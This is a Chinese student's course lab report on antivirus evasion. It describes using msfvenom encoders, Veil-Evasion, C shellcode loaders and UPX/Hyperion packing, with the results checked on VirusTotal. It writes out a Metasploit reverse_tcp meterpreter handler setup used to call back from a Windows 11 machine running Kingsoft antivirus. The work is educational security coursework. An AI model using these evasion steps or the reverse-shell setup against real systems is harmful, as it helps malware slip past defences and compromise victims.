首页 > 其他分享 >20222402 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222402 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-31 20:35:36浏览次数:1  
标签:免杀 加壳 检测 2024 2025 20222402 恶意代码 杀毒软件 VirusTotal

1.实验内容
本周学习
免杀:英文为 Anti-AntiVirus(简写Virus AV),逐字翻译为“反·反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
杀毒软件原理。
免杀处理:对生成的恶意代码进行免杀处理,加壳。
测试与验证:将处理后的恶意代码上传到病毒检测网站进行测试,查看其被杀毒软件检测的情况。
问题回答:
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:杀毒软件的病毒库会记录一些恶意软件的特征码,这些特征码由不大于64字节的字符串组成,且是只有该病毒内才出现的字符串。当杀毒软件检测到程序时,会将程序与病毒库中的特征码进行比对,从而判断是否是恶意代码。
启发式恶意软件的检测:这种检测方式将一个软件与恶意软件的行为、代码等进行比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码。不过,这种方式有一定的误报可能。
基于行为的恶意软件检测:该方式会对运行的所有进程进行实时监控,如果有敏感行为,就会被认为是恶意程序。这是一种动态的监测与捕捉方法。
(2)免杀是做什么?
免杀:英文为 Anti-AntiVirus(简写Virus AV),逐字翻译为“反·反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术(3)免杀的基本方法有哪些?
①修改特征码
②修改校验和
③花指令免杀
④加壳免杀
实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
(1)学习使用免杀工具msf编码器
①使用msf编码器,使用msfvenom生成后门程序,登录VirusTotal网站检测


②编码10次,登录VirusTotal网站检测


③生成jar文件,登录VirusTotal网站检测


④生成php文件,登录VirusTotal网站检测


⑤生成py文件,登录VirusTotal网站检测


(2)学习使用免杀工具Veil
①下载Veil
mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi sudo apt-get install libncurses5* sudo apt-get install libavutil55* sudo apt-get install gcc-mingw-w64* dpkg --add-architecture i386 sudo apt-get update sudo apt-get install wine32 apt-get install veil ——安装veil sudo su cd /usr/share/veil/config/ vim setup.sh
②完成安装后输入veil

②进入Evil—Evasion

③查看可使用的payload类型

④输入use 7

⑤生成可执行文件

⑥查看可执行文件

⑦将20222402veil.exe文件移入主机,使用VirusTotal进行检测

(3)使用C + shellcode编程
①生成一段shellcode

②新建一个.c文件,将shellcode和下图代码输入,并保存

③编译.c文件

④将20222402.exe文件移入主机,使用VirusTotal进行检测

(4)学习使用加壳工具
①upx加壳

②hyperion加壳

③将upx20222402.exe,upx20222402_1.exe文件移入主机,使用VirusTotal进行检测


(5)通过组合应用各种技术实现恶意代码免杀
①通过msfvenom生成Shellcode数组

②新建一个.c文件,将shellcode和下图代码输入,并保存

③编译

④加壳

⑤将文件传到主机,并打开杀毒软件

(6) 用另一电脑实测
电脑版本:windows11
杀毒软件:金山毒霸
①输入msfconsole进入控制台,依次输入:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.118
set LPORT 2402
exploit
②在主机端启动upx20222402_1.exe文件

③金山毒霸查杀结果

3.问题及解决方案

  • 问题1:虚拟机生成的文件不能快速传输到主机,ncat有时会传输失败
  • 问题1解决方案:使用Winscp,更方便地传输文件
  • 问题2:在主机上的免杀测试失败
  • 问题2解决方案:反复测试后未能找出原因
    4.学习感悟、思考等
    在这次关于免杀技术的实验中,我经历了一个从理论到实践、从陌生到熟悉的全面学习过程。
    实验初期,我面对的是一系列陌生的工具和术语,如msf编码器、veil-evasion、加壳工具以及shellcode编程等。这些工具和技术虽然强大,但使用起来也颇具挑战性。在学习的过程中,我不断查阅文档、观看教程,甚至在一些技术论坛上寻求帮助。
    在实验的过程中,我深刻体会到了免杀技术的复杂性和多变性。通过不断调整和优化代码、尝试不同的编码器和加壳工具,我逐渐掌握了如何通过多种技术手段的组合使用来提高恶意代码的抗检测能力。
    通过本次实验,我深刻体会到了免杀技术的重要性和复杂性。免杀技术不仅需要对恶意代码进行深入的分析和理解,还需要掌握多种技术手段和工具。同时,免杀技术也是一个不断发展和变化的领域,需要不断学习和更新知识。
    此外,免杀技术的发展也提醒我们,杀毒软件需要不断更新和升级,以应对日益复杂的恶意代码威胁。同时,我们也应该加强网络安全意识,提高自我保护能力,避免成为恶意代码的受害者。

参考资料

标签:免杀,加壳,检测,2024,2025,20222402,恶意代码,杀毒软件,VirusTotal
From: https://www.cnblogs.com/nonosuperman/p/18517851

相关文章

  • 20222404张嘉月 2024-2025-1 《网络与系统攻防》实验三实验报告
    1.实验内容(一)本周所学恶意代码的简介、类别、代表性的恶意代码介绍,包括僵尸程序、后门攻击、蠕虫等等。历史上的恶意代码历史发展和所造成的影响与影响范围。介绍恶意代码的分析技术(静态、动态)(二)实验要求(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技......
  • 20222415 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容学习了恶意代码和恶意代码的分析,并介绍了信息搜集技术和怎样进行信息搜集。2.实验过程1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1)使用msf生成可执行文件并检测生成payload并检测msfvenom-pwindows/meterpreter/reverse_tcpLHOS......
  • CSP2024游记
    0.前言我死了……等等,我没死?(惊觉)魁雯(Kiw_的中文通用网名)只打了CSP-S,因为我高一没法打J组qwq一开始没打算写游记……因为觉得CSP-S大概率会把我送退役,结果打完之后发现情况还好(高一这届虽然也都能碾压我但起码我能拿到NOIP的奖,之后再说之后的事)所以还是动笔写写吧,毕竟我可不敢......
  • 多校 A 层冲刺 NOIP2024 模拟赛 16
    多校A层冲刺NOIP2024模拟赛16T1四舍五入签到题注意到一个数是否会入上去只和其剩余系有关,即满足\(i\modj<\frac{1}{2}j\),会入上去,考虑枚举j的倍数,其贡献就成了一个区间,差分即可。时间复杂度是调和级数的,为\(O(n\lnn)\)。T2填算符贪心,特殊性质显然将所有\(\&\)放......
  • # 20222316 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    一、实验内容1.学习总结1)免杀基本概念英文为Anti-AntiVirus(简写VirusAV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。2)免杀技术修改特征码修改校验和花指令免杀花指令其实......
  • NOIP2024集训Day65 贪心
    NOIP2024集训Day65贪心A.[NOI2015]荷马史诗简化题意,即构造一颗\(k\)叉树,每个节点的权值为其所有孩子的权值之和,给定的\(n\)个数必须使用,其余空缺处用\(0\)补全。考虑使用优先队列,首先弹入\(n+(n-1)\%(k-1)\)个元素(不足处用0代替),然后每次弹出前\(k\)小的数......
  • NOIP 模拟赛:2024-10-30
    T1:一场比赛一共有\(n\)位选手和\(m\)道题目,其中你是第\(1\)位选手。你现在知道了每位选手通过了哪些题目。你可以调整题目的顺序,然后给题目赋予一个分值,使得第\(i\)道题目的分值是\(2^i\)。你想知道能否通过调整题目的顺序,使得你的成绩恰好是第二高的。保证不存在两个选手的通......
  • Goby 漏洞发布|Apache Solr /solr/admin/info/properties:/admin/info/key 权限绕过漏
    漏洞名称:ApacheSolr/solr/admin/info/properties:/admin/info/key权限绕过漏洞(CVE-2024-45216)EnglishName:ApacheSolr/solr/admin/info/properties:/admin/info/keyPermissionBypassVulnerability(CVE-2024-45216)CVSScore:7.3漏洞描述:ApacheSolr是一个开源搜索服......
  • 探索自然之美,畅享户外精彩—2025北京国际户外用品展览会|户外露营装备展
    探索自然之美,畅享户外精彩—2025北京国际户外用品展览会|户外露营装备展 在繁华的都市生活中,人们渴望回归自然,寻找内心的宁静与自由。户外露营,作为一种亲近大自然的生活方式,正越来越受到人们的喜爱。而2025北京国际户外用品展览会户外露营装备展,将为您带来一场前所未有的户外......
  • 2024.10.31模拟赛
    一定要好好睡觉啊,不然打模拟赛的时候会困死的!!!非常非常困的7:50时就开始打模拟赛,还是打了四个小时。打了T1、T2的正解,T3的5分特殊样例、T3的10分特殊样例,预计总215分。然后经过漫长的三个小时的等待,出现了T1100分,T265分,T360分,T410分、总分235分的神奇成绩。虽然结果比预......